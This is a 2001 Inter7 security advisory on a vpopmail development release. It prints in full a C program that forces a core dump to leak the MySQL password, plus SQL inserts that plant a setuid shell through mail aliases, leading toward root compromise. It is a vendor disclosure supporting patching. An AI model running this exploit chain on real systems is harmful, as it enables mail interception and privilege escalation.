www.inter7.com
                                Inter7 Internet Technologies, Inc.
                                         Internal Advisory
                             ------------------------------------------

Date         08/09/2001
Category     Security
Item         vpopmail [DEVELOPMENT]
Severity     Medium
Distribution Public

Status:      Package is development; stable release to be patched

Summary:   
   A dump of memory proceeding a vpopmail API call leads to
   full database permissions which can lead to a root compromise.
   While there are other variants of this attack, this document
   only covers one aspect of it with MySQL.

Full description:
   A local attacker without root priveleges running the following
   code may be able to read the database password vpopmail was compiled
   with.  The following attack only works if valias has been enabled.

   #include <stdio.h>
   #include <sys/types.h>
   #include "vauth.h"
 
   int main(int argc, char *argv[])
   {
     char *p = NULL;
     struct vqpasswd *pw = NULL;

     pw = vauth_getall("domain.com", 1, 0);
     if (!pw) {
        printf("Failed.\n");
        return 1;
     }

     printf("Dumping.\n");

     *p = 'x';

     /*
        Shouldn't get here.
     */
     return 0;     
   }

   This program with the proper settings should lead to a core dump
   of the process in memory, which can be used to deduce the password
   stored for the database.

   After access to the database has been gained, the following MySQL
   commands, which sets up an alias of test to create a SUID/SGID shell
   owned by the vpopmail:vchkpw user.

   INSERT INTO valias values ('test', 'domain.com',
     '|/bin/chmod ug+rxs,o+rx /home/vpopmail/vsh'); 
   INSERT INTO valias values ('test', 'domain.com',
     '|/bin/cp /bin/sh /home/vpopmail/vsh'); 

   Lastly, all the attacker must do is send mail to [EMAIL PROTECTED]
   wherein the shell will be created to be executed later.

   As the vpopmail user the attacker can read and modify all email
   running through the system, and has the ability to update vpopmail
   binaries/libraries to contain trojan attacks which can lead to
   a root compromise.   
--
[EMAIL PROTECTED]
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